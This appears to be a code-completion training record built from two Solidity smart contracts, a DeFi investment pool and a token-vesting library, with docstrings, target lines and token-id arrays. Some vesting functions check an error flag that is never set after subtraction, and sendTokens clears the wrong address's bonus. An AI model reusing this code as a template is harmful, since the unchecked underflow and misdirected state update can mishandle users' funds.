* @return uint Total supply of LP tokens
*/
function totalSupply() public view override returns (uint) {
return _totalSupply;
}
/**
* @dev Returns the pool's performance fee
* @return uint The pool's performance fee
*/
function getPerformanceFee() public view override returns (uint) {
return _performanceFee;
}
/**
* @dev Returns the price of the pool's token
* @return USD price of the pool's token
*/
function tokenPrice() public view override returns (uint) {
uint poolValue = getPoolValue();
return _tokenPrice(poolValue);
}
/**
* @dev Returns the pool manager's available fees
* @return Pool manager's available fees
*/
function availableManagerFee() public view override returns (uint) {
uint poolValue = getPoolValue();
if (_totalSupply == 0 || poolValue == 0)
{
return 0;
}
uint currentTokenPrice = _tokenPrice(poolValue);
if (currentTokenPrice <= _tokenPriceAtLastFeeMint)
{
return 0;
}
return (currentTokenPrice.sub(_tokenPriceAtLastFeeMint)).mul(_totalSupply).mul(_performanceFee).div(10000).div(currentTokenPrice);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @dev Mints the pool manager's fee
*/
function mintManagerFee() external onlyPoolManager {
_mintManagerFee();
}
/**
* @dev Deposits the given USD amount into the pool
* @notice Call cUSD.approve() before calling this function
* @param amount Amount of USD to deposit into the pool
*/
function deposit(uint amount) external override {
require(amount > 0, "Pool: Deposit must be greater than 0");
uint poolBalance = getPoolValue();
uint numberOfLPTokens = (_totalSupply > 0) ? _totalSupply.mul(amount).div(poolBalance) : amount;
_balanceOf[msg.sender] = _balanceOf[msg.sender].add(numberOfLPTokens);
_totalSupply = _totalSupply.add(numberOfLPTokens);
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
address stableCoinAddress = IAssetHandler(assetHandlerAddress).getStableCoinAddress();
IERC20(stableCoinAddress).safeTransferFrom(msg.sender, address(this), amount);
_addPositionKey(stableCoinAddress);
emit Deposit(address(this), msg.sender, amount, block.timestamp);
}
/**
* @dev Withdraws the given number of pool tokens from the user
* @param numberOfPoolTokens Number of pool tokens to withdraw
*/
function withdraw(uint numberOfPoolTokens) public override {
require(numberOfPoolTokens > 0, "Pool: number of pool tokens must be greater than 0");
require(_balanceOf[msg.sender] >= numberOfPoolTokens, "Pool: Not enough pool tokens to withdraw");
//Mint manager fee
uint poolValue = _mintManagerFee();
uint portion = numberOfPoolTokens.mul(10**18).div(_totalSupply);
//Burn user's pool tokens
_balanceOf[msg.sender] = _balanceOf[msg.sender].sub(numberOfPoolTokens);
_totalSupply = _totalSupply.sub(numberOfPoolTokens);
uint[] memory amountsWithdrawn = new uint[](numberOfPositions);
address[] memory assetsWithdrawn = new address[](numberOfPositions);
uint assetCount = numberOfPositions;
//Withdraw user's portion of pool's assets
for (uint i = assetCount; i > 0; i--)
{
uint portionOfAssetBalance = _withdrawProcessing(_positionKeys[i], portion);
if (portionOfAssetBalance > 0)
{
IERC20(_positionKeys[i]).safeTransfer(msg.sender, portionOfAssetBalance);
amountsWithdrawn[i.sub(1)] = portionOfAssetBalance;
assetsWithdrawn[i.sub(1)] = _positionKeys[i];
}
//Remove position keys if pool is liquidated
if (_totalSupply == 0)
{
_removePositionKey(_positionKeys[i]);
}
}
//Set numberOfPositions to 0 if pool is liquidated
if (_totalSupply == 0)
{
numberOfPositions = 0;
}
uint valueWithdrawn = poolValue.mul(portion).div(10**18);
emit Withdraw(address(this), msg.sender, numberOfPoolTokens, valueWithdrawn, assetsWithdrawn, amountsWithdrawn, block.timestamp);
}
/**
* @dev Withdraws the user's full investment
*/
function exit() external override {
withdraw(balanceOf(msg.sender));
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @dev Executes a transaction on behalf of the pool; lets pool talk to other protocols
* @param to Address of external contract
* @param data Bytes data for the transaction
*/
function executeTransaction(address to, bytes memory data) external onlyPoolManager {
require(to != address(0), "Pool: invalid 'to' address");
//First try to get contract verifier
address verifier = ADDRESS_RESOLVER.contractVerifiers(to);
//Try to get asset verifier if no contract verifier found
if (verifier == address(0))
{
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
verifier = IAssetHandler(assetHandlerAddress).getVerifier(to);
//'to' address is an asset; need to check if asset is valid
if (verifier != address(0))
{
require(IAssetHandler(assetHandlerAddress).isValidAsset(to), "Pool: invalid asset");
_addPositionKey(to);
}
}
require(verifier != address(0), "Pool: invalid verifier");
(bool valid, address receivedAsset) = IVerifier(verifier).verify(address(ADDRESS_RESOLVER), address(this), to, data);
require(valid, "Pool: invalid transaction");
(bool success, ) = to.call(data);
require(success, "Pool: transaction failed to execute");
_addPositionKey(receivedAsset);
emit ExecutedTransaction(address(this), _manager, to, success, block.timestamp);
}
/**
* @dev Removes the pool's empty positions from position keys
*/
function removeEmptyPositions() external onlyPoolManager {
uint assetCount = numberOfPositions;
for (uint i = assetCount; i > 0; i--)
{
_removePositionKey(_positionKeys[i]);
}
emit RemovedEmptyPositions(address(this), _manager, block.timestamp);
}
/* ========== INTERNAL FUNCTIONS ========== */
/**
* @dev Adds the given currency to position keys
* @param currency Address of token to add
*/
function _addPositionKey(address currency) internal {
//Add token to positionKeys if not currently in positionKeys
if (currency != address(0) && positionToIndex[currency] == 0)
{
numberOfPositions = numberOfPositions.add(1);
_positionKeys[numberOfPositions] = currency;
positionToIndex[currency] = numberOfPositions;
}
}
/**
* @dev Removes the given currency to position keys
* @param currency Address of token to remove
*/
function _removePositionKey(address currency) internal {
require(currency != address(0), "Pool: invalid asset address");
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
//Remove currency from positionKeys if no balance left; account for dust
if (IAssetHandler(assetHandlerAddress).getBalance(address(this), currency) < 1000)
{
if (_positionKeys[positionToIndex[currency]] != _positionKeys[numberOfPositions])
{
_positionKeys[positionToIndex[currency]] = _positionKeys[numberOfPositions];
positionToIndex[_positionKeys[numberOfPositions]] = positionToIndex[currency];
}
delete _positionKeys[numberOfPositions];
delete positionToIndex[currency];
numberOfPositions = numberOfPositions.sub(1);
}
}
/**
* @dev Calculates the price of a pool token
* @param _poolValue Value of the pool in USD
* @return Price of a pool token
*/
function _tokenPrice(uint _poolValue) internal view returns (uint) {
if (_totalSupply == 0 || _poolValue == 0)
{
return 10**18;
}
return _poolValue.mul(10**18).div(_totalSupply);
}
/**
* @dev Mints the pool manager's available fees
* @return Pool's USD value
*/
function _mintManagerFee() internal returns(uint) {
uint poolValue = getPoolValue();
uint availableFee = availableManagerFee();
// Ignore dust when minting performance fees
if (availableFee < 10000)
{
return 0;
}
_balanceOf[_manager] = _balanceOf[_manager].add(availableFee);
_totalSupply = _totalSupply.add(availableFee);
_tokenPriceAtLastFeeMint = _tokenPrice(poolValue);
emit MintedManagerFee(address(this), _manager, availableFee, block.timestamp);
return poolValue;
}
/**
* @dev Performs additional processing when withdrawing an asset (such as checking for staked tokens)
* @param asset Address of asset to withdraw
* @param portion User's portion of pool's asset balance
* @return Amount of tokens to withdraw
*/
function _withdrawProcessing(address asset, uint portion) internal returns (uint) {
address assetHandlerAddress = ADDRESS_RESOLVER.getContractAddress("AssetHandler");
address verifier = IAssetHandler(assetHandlerAddress).getVerifier(asset);
(address withdrawAsset, uint withdrawBalance, IAssetVerifier.MultiTransaction[] memory transactions) = IAssetVerifier(verifier).prepareWithdrawal(address(this), asset, portion);
if (transactions.length > 0)
{
uint initialAssetBalance;
if (withdrawAsset != address(0))
{
initialAssetBalance = IERC20(withdrawAsset).balanceOf(address(this));
}
//Execute each transaction
for (uint i = 0; i < transactions.length; i++)
{
(bool success,) = (transactions[i].to).call(transactions[i].txData);
require(success, "Pool: failed to withdraw tokens");
}
//Account for additional tokens added (withdrawing staked LP tokens)
if (withdrawAsset != address(0))
{
withdrawBalance = withdrawBalance.add(IERC20(withdrawAsset).balanceOf(address(this))).sub(initialAssetBalance);
}
}
return withdrawBalance;
}
/* ========== MODIFIERS ========== */
modifier onlyPoolManager() {
require(msg.sender == _manager, "Pool: Only pool's manager can call this function");
_;
}
/* ========== EVENTS ========== */
event Deposit(address indexed poolAddress, address indexed userAddress, uint amount, uint timestamp);
event Withdraw(address indexed poolAddress, address indexed userAddress, uint numberOfPoolTokens, uint valueWithdrawn, address[] assets, uint[] amountsWithdrawn, uint timestamp);
event MintedManagerFee(address indexed poolAddress, address indexed manager, uint amount, uint timestamp);
event ExecutedTransaction(address indexed poolAddress, address indexed manager, address to, bool success, uint timestamp);
event RemovedEmptyPositions(address indexed poolAddress, address indexed manager, uint timestamp);
}
|
* @dev Returns the price of the pool's token @return USD price of the pool's token/
|
function tokenPrice() public view override returns (uint) {
uint poolValue = getPoolValue();
return _tokenPrice(poolValue);
}
| 1,803,201 |
[
1,
1356,
326,
6205,
434,
326,
2845,
1807,
1147,
327,
587,
9903,
6205,
434,
326,
2845,
1807,
1147,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1147,
5147,
1435,
1071,
1476,
3849,
1135,
261,
11890,
13,
288,
203,
3639,
2254,
2845,
620,
273,
28575,
620,
5621,
203,
203,
3639,
327,
389,
2316,
5147,
12,
6011,
620,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.18;
/**
* @title VestingLib
* @author Modular.network
*
* version 1.0.1
* Copyright (c) 2017 Modular, LLC
* The MIT License (MIT)
* https://github.com/Modular-Network/ethereum-libraries/blob/master/LICENSE
*
* Library for vesting tokens to a group of addresses. The library only handles
* one token at a time, with a linear vesting schedule for a set period of time
*
* Modular works on open source projects in the Ethereum community with the
* purpose of testing, documenting, and deploying reusable code onto the
* blockchain to improve security and usability of smart contracts. Modular
* also strives to educate non-profits, schools, and other community members
* about the application of blockchain technology.
* For further information: modular.network
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
* OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
import "./BasicMathLib.sol";
import "./TokenLib.sol";
import "./CrowdsaleToken.sol";
library VestingLib {
using BasicMathLib for uint256;
struct VestingStorage {
address owner;
uint256 totalSupply; // total supply of ETH or tokens
uint256 contractBalance; // current balance of the contract
bool isToken; // false for ETH, true for token
uint256 startTime; // timestamp when vesting starts
uint256 endTime; // timestamp when vesting is complete
uint256 numRegistered; // number of addresses registered for the vesting
uint256 timeInterval; // interval between vesting
uint256 percentPerInterval; // percentage of the total released every interval
// for each address, 0-index is the amount being held, 1-index is the bonus.
// if the bonus amount is > 0, any withdrawal before endTime will result
// in the total amount being withdrawn without the bonus
mapping (address => uint256[2]) holdingAmount;
// shows how much an address has already withdrawn from the vesting contract
mapping (address => uint256) hasWithdrawn;
}
// Generic Error message, error code and string
event LogErrorMsg(uint256 amount, string Msg);
// Logs when a user is registered in the system for vesting
event LogUserRegistered(address registrant, uint256 vestAmount, uint256 bonus);
// Logs when a user is unregistered from the system
event LogUserUnRegistered(address registrant);
// Logs when a user replaces themselves with a different beneficiary
event LogRegistrationReplaced(address currentRegistrant, address newRegistrant, uint256 amountWithdrawn);
// Logs when a user withdraws their ETH from vesting
event LogETHWithdrawn(address beneficiary, uint256 amount);
// Logs when a user withdraws their tokens from the contract
event LogTokensWithdrawn(address beneficiary, uint256 amount);
/// @dev Called by the token vesting contract upon creation.
/// @param self Stored token from token contract
/// @param _owner the owner of the vesting contract
/// @param _isToken indicates if the vesting is for tokens or ETH
/// @param _startTime the start time of the vesting (UNIX timestamp)
/// @param _endTime the end time of the vesting (UNIX timestamp)
/// @param _numReleases number of times during vesting that the contract releases coins
function init(VestingStorage storage self,
address _owner,
bool _isToken,
uint256 _startTime,
uint256 _endTime,
uint256 _numReleases) public
{
require(self.owner == 0);
require(self.totalSupply == 0);
require(_owner != 0);
require(_startTime > now);
require(_endTime > _startTime);
require(_numReleases > 0);
require(_numReleases <= 100);
self.owner = _owner;
self.isToken = _isToken;
self.startTime = _startTime;
self.endTime = _endTime;
self.timeInterval = (_endTime - _startTime)/_numReleases;
require(self.timeInterval > 0);
self.percentPerInterval = 100/_numReleases;
}
/// @dev function owner has to call before the vesting starts to initialize the ETH balance of the contract.
/// @param self Stored vesting from vesting contract
/// @param _balance the balance that is being vested. msg.value from the contract call.
function initializeETHBalance(VestingStorage storage self, uint256 _balance) public returns (bool) {
require(msg.sender == self.owner);
require(now < self.startTime);
require(_balance != 0);
require(!self.isToken);
require(self.totalSupply == 0);
self.totalSupply = _balance;
self.contractBalance = _balance;
return true;
}
/// @dev function owner has to call before the vesting starts to initialize the token balance of the contract.
/// @param self Stored vesting from vesting contract
/// @param _balance the balance that is being vested. owner has to have sent tokens to the contract before calling this function
function initializeTokenBalance(VestingStorage storage self, CrowdsaleToken token, uint256 _balance) public returns (bool) {
require(msg.sender == self.owner);
require(now < self.startTime);
require(_balance != 0);
require(self.isToken);
require(token.balanceOf(this) == _balance);
require(self.totalSupply == 0);
self.totalSupply = _balance;
self.contractBalance = _balance;
return true;
}
/// @dev register user function, can only be called by the owner. registers amount
/// of vesting into the address and reduces contractBalance
/// @param self Stored vesting from vesting contract
/// @param _registrant address to be registered for the vesting
/// @param _vestAmount amount of ETH or tokens to vest for address
/// @param _bonus amount of bonus tokens or eth if no withdrawal prior to endTime
function registerUser(VestingStorage storage self,
address _registrant,
uint256 _vestAmount,
uint256 _bonus) public returns (bool)
{
require((msg.sender == self.owner) || (msg.sender == address(this)));
if (now >= self.startTime) {
LogErrorMsg(self.startTime,"Can only register users before the vesting starts!");
return false;
}
if(self.holdingAmount[_registrant][0] > 0) {
LogErrorMsg(0,"Registrant address is already registered for the vesting!");
return false;
}
if(_bonus > _vestAmount){
LogErrorMsg(_bonus,"Bonus is larger than vest amount, please reduce bonus!");
return false;
}
uint256 _totalAmount;
uint256 result;
bool err;
(err, _totalAmount) = _vestAmount.plus(_bonus);
require(!err);
(err, result) = self.contractBalance.minus(_totalAmount);
require(!err);
self.contractBalance = result;
self.holdingAmount[_registrant][0] = _vestAmount;
self.holdingAmount[_registrant][1] = _bonus;
(err,result) = self.numRegistered.plus(1);
require(!err);
self.numRegistered = result;
LogUserRegistered(_registrant, _vestAmount, _bonus);
return true;
}
/// @dev registers multiple users at the same time. each registrant must be
/// receiving the same amount of tokens or ETH
/// @param self Stored vesting from vesting contract
/// @param _registrants addresses to register for the vesting
/// @param _vestAmount amount of ETH or tokens to vest
/// @param _bonus amount of ETH or token bonus
function registerUsers(VestingStorage storage self,
address[] _registrants,
uint256 _vestAmount,
uint256 _bonus) public returns (bool)
{
require(msg.sender == self.owner);
bool ok;
for (uint256 i = 0; i < _registrants.length; i++) {
ok = registerUser(self,_registrants[i], _vestAmount, _bonus);
}
return ok;
}
/// @dev Cancels a user's registration status can only be called by the owner
/// when a user cancels their registration. sets their address field in the
/// holding amount mapping to 0, decrements the numRegistered, and adds amount
/// back into contractBalance
/// @param self Stored vesting from vesting contract
function unregisterUser(VestingStorage storage self, address _registrant) public returns (bool) {
require((msg.sender == self.owner) || (msg.sender == address(this)));
if (now >= self.startTime) {
LogErrorMsg(self.startTime, "Can only register and unregister users before the vesting starts!");
return false;
}
uint256 _totalHolding;
uint256 result;
bool err;
_totalHolding = self.holdingAmount[_registrant][0] + self.holdingAmount[_registrant][1];
if(_totalHolding == 0) {
LogErrorMsg(0, "Registrant address not registered for the vesting!");
return false;
}
self.holdingAmount[_registrant][0] = 0;
self.holdingAmount[_registrant][1] = 0;
self.contractBalance += _totalHolding;
(err,result) = self.numRegistered.minus(1);
require(!err);
self.numRegistered = result;
LogUserUnRegistered(_registrant);
return true;
}
/// @dev unregisters multiple users at the same time
/// @param self Stored vesting from vesting contract
/// @param _registrants addresses to unregister for the vesting
function unregisterUsers(VestingStorage storage self, address[] _registrants) public returns (bool) {
require(msg.sender == self.owner);
bool ok;
for (uint256 i = 0; i < _registrants.length; i++) {
ok = unregisterUser(self,_registrants[i]);
}
return ok;
}
/// @dev allows a participant to replace themselves in the vesting schedule with a new address
/// @param self Stored vesting from vesting contract
/// @param _replacementRegistrant new address to replace the caller with
function swapRegistration(VestingStorage storage self, address _replacementRegistrant) public returns (bool) {
require(_replacementRegistrant != 0);
require(self.holdingAmount[_replacementRegistrant][0] == 0);
uint256 _vestAmount = self.holdingAmount[msg.sender][0];
uint256 _bonus = self.holdingAmount[msg.sender][1];
uint256 _withdrawnAmount = self.hasWithdrawn[msg.sender];
require(_vestAmount > 0);
self.holdingAmount[msg.sender][0] = 0;
self.holdingAmount[msg.sender][1] = 0;
self.hasWithdrawn[msg.sender] = 0;
self.holdingAmount[_replacementRegistrant][0] = _vestAmount;
self.holdingAmount[_replacementRegistrant][1] = _bonus;
self.hasWithdrawn[_replacementRegistrant] = _withdrawnAmount;
LogRegistrationReplaced(msg.sender, _replacementRegistrant, self.hasWithdrawn[_replacementRegistrant]);
return true;
}
/// @dev calculates the number of tokens or ETH available for the beneficiary to withdraw
/// @param self Stored vesting from vesting contract
/// @param _beneficiary the sender, who will be withdrawing their balance
function calculateWithdrawal(VestingStorage storage self, address _beneficiary) internal view returns (uint256) {
require(_beneficiary != 0);
require(self.holdingAmount[_beneficiary][0] > 0);
require(self.numRegistered > 0);
bool err;
// figure out how many intervals have passed since the start
uint256 _numIntervals = (now-self.startTime)/self.timeInterval;
// multiply that by the percentage released every interval
// calculate the amount released by this time
uint256 _amountReleased = ((_numIntervals*self.percentPerInterval)*self.holdingAmount[_beneficiary][0])/100;
// subtract the amount that has already been withdrawn
(err, _amountReleased) = _amountReleased.minus(self.hasWithdrawn[_beneficiary]);
return _amountReleased;
}
/// @dev allows participants to withdraw their vested ETH
/// @param self Stored vesting from vesting contract
function withdrawETH(VestingStorage storage self) public returns (bool) {
require(now > self.startTime);
require(!self.isToken);
bool ok;
bool err;
uint256 _withdrawAmount;
if((now < self.endTime) && (self.holdingAmount[msg.sender][1] > 0)){
// if there is a bonus and it's before the endTime, cancel the bonus
_withdrawAmount = calculateWithdrawal(self, msg.sender);
uint256 _bonusAmount = self.holdingAmount[msg.sender][1];
//self.holdingAmount[msg.sender][0] = 0;
self.holdingAmount[msg.sender][1] = 0;
// add bonus eth back into the contract balance
self.contractBalance += _bonusAmount;
} else {
if(now > self.endTime){
// if it's past the endTime then send everything left
_withdrawAmount = self.holdingAmount[msg.sender][0] + self.holdingAmount[msg.sender][1];
(ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[msg.sender]);
require(!err);
self.holdingAmount[msg.sender][0] = 0;
self.holdingAmount[msg.sender][1] = 0;
} else {
// if we're here then it's before the endTime and no bonus, need to calculate
_withdrawAmount = calculateWithdrawal(self, msg.sender);
}
}
self.hasWithdrawn[msg.sender] += _withdrawAmount;
// transfer ETH to the sender
msg.sender.transfer(_withdrawAmount);
LogETHWithdrawn(msg.sender,_withdrawAmount);
return true;
}
/// @dev allows participants to withdraw their vested tokens
/// @param self Stored vesting from vesting contract
/// @param token the token contract that is being withdrawn
function withdrawTokens(VestingStorage storage self,CrowdsaleToken token) public returns (bool) {
require(now > self.startTime);
require(self.isToken);
bool ok;
bool err;
uint256 _withdrawAmount;
if((now < self.endTime) && (self.holdingAmount[msg.sender][1] > 0)){
// if there is a bonus and it's before the endTime, cancel the bonus and send tokens
_withdrawAmount = calculateWithdrawal(self, msg.sender);
uint256 _bonusAmount = self.holdingAmount[msg.sender][1];
self.holdingAmount[msg.sender][1] = 0;
ok = token.burnToken(_bonusAmount);
require(ok);
} else {
if(now > self.endTime){
// if it's past the endTime then send everything left
_withdrawAmount = self.holdingAmount[msg.sender][0] + self.holdingAmount[msg.sender][1];
(ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[msg.sender]);
require(!err);
self.holdingAmount[msg.sender][0] = 0;
self.holdingAmount[msg.sender][1] = 0;
} else {
// if we're here then it's before the endTime and no bonus, need to calculate
_withdrawAmount = calculateWithdrawal(self, msg.sender);
}
}
self.hasWithdrawn[msg.sender] += _withdrawAmount;
// transfer tokens to the sender
ok = token.transfer(msg.sender, _withdrawAmount);
require(ok);
LogTokensWithdrawn(msg.sender,_withdrawAmount);
return true;
}
/// @dev allows the owner to send vested ETH to participants
/// @param self Stored vesting from vesting contract
/// @param _beneficiary registered address to send the ETH to
function sendETH(VestingStorage storage self, address _beneficiary) public returns (bool) {
require(now > self.startTime);
require(msg.sender == self.owner);
require(!self.isToken);
bool ok;
bool err;
uint256 _withdrawAmount;
if((now < self.endTime) && (self.holdingAmount[_beneficiary][1] > 0)){
// if there is a bonus and it's before the endTime, cancel the bonus
_withdrawAmount = calculateWithdrawal(self, _beneficiary);
uint256 _bonusAmount = self.holdingAmount[_beneficiary][1];
self.holdingAmount[_beneficiary][1] = 0;
// add bonus eth back into the contract balance
self.contractBalance += _bonusAmount;
} else {
if(now > self.endTime){
// if it's past the endTime then send everything left
_withdrawAmount = self.holdingAmount[_beneficiary][0] + self.holdingAmount[_beneficiary][1];
(ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[_beneficiary]);
require(!err);
self.holdingAmount[_beneficiary][0] = 0;
self.holdingAmount[_beneficiary][1] = 0;
} else {
// if we're here then it's before the endTime and no bonus, need to calculate
_withdrawAmount = calculateWithdrawal(self, _beneficiary);
}
}
self.hasWithdrawn[_beneficiary] += _withdrawAmount;
// transfer ETH to the _beneficiary
_beneficiary.transfer(_withdrawAmount);
LogETHWithdrawn(_beneficiary,_withdrawAmount);
return true;
}
/// @dev allows the owner to send vested tokens to participants
/// @param self Stored vesting from vesting contract
/// @param token the token contract that is being withdrawn
/// @param _beneficiary registered address to send the tokens to
function sendTokens(VestingStorage storage self,CrowdsaleToken token, address _beneficiary) public returns (bool) {
require(now > self.startTime);
require(msg.sender == self.owner);
require(self.isToken);
bool ok;
bool err;
uint256 _withdrawAmount;
if((now < self.endTime) && (self.holdingAmount[_beneficiary][1] > 0)){
// if there is a bonus and it's before the endTime, cancel the bonus
_withdrawAmount = calculateWithdrawal(self, _beneficiary);
uint256 _bonusAmount = self.holdingAmount[_beneficiary][1];
self.holdingAmount[msg.sender][1] = 0;
ok = token.burnToken(_bonusAmount);
} else {
if(now > self.endTime){
// if it's past the endTime then send everything left
_withdrawAmount = self.holdingAmount[_beneficiary][0] + self.holdingAmount[_beneficiary][1];
(ok, _withdrawAmount) = _withdrawAmount.minus(self.hasWithdrawn[_beneficiary]);
require(!err);
self.holdingAmount[_beneficiary][0] = 0;
self.holdingAmount[_beneficiary][1] = 0;
} else {
// if we're here then it's before the endTime and no bonus, need to calculate
_withdrawAmount = calculateWithdrawal(self, _beneficiary);
}
}
self.hasWithdrawn[_beneficiary] += _withdrawAmount;
// transfer tokens to the beneficiary
ok = token.transfer(_beneficiary, _withdrawAmount);
require(ok);
LogTokensWithdrawn(_beneficiary,_withdrawAmount);
return true;
}
/// @dev Allows the owner to withdraw any ETH left in the contractBalance
/// @param self Stored vesting from vesting contract
function ownerWithdrawExtraETH(VestingStorage storage self) public returns (bool) {
require(msg.sender == self.owner);
require(now > self.endTime);
require(!self.isToken);
uint256 _contractBalance = this.balance;
self.contractBalance = 0;
self.owner.transfer(_contractBalance);
LogETHWithdrawn(self.owner,_contractBalance);
return true;
}
/// @dev Allows the owner to withdraw any tokens left in the contractBalance
/// @param self Stored vesting from vesting contract
function ownerWithdrawExtraTokens(VestingStorage storage self, CrowdsaleToken token) public returns (bool) {
require(msg.sender == self.owner);
require(now > self.endTime);
require(self.isToken);
uint256 _contractBalance = token.balanceOf(this);
self.contractBalance = 0;
token.transfer(self.owner,_contractBalance);
LogTokensWithdrawn(self.owner,_contractBalance);
return true;
}
/// @dev Returns the percentage of the vesting that has been released at the current moment
function getPercentReleased(VestingStorage storage self) public view returns (uint256) {
require(now > self.startTime);
return self.percentPerInterval * ((now-self.startTime)/self.timeInterval);
}
}
|
percentage of the total released every interval
|
uint256 percentPerInterval;
| 12,964,799 |
[
1,
18687,
434,
326,
2078,
15976,
3614,
3673,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
2254,
5034,
5551,
2173,
4006,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
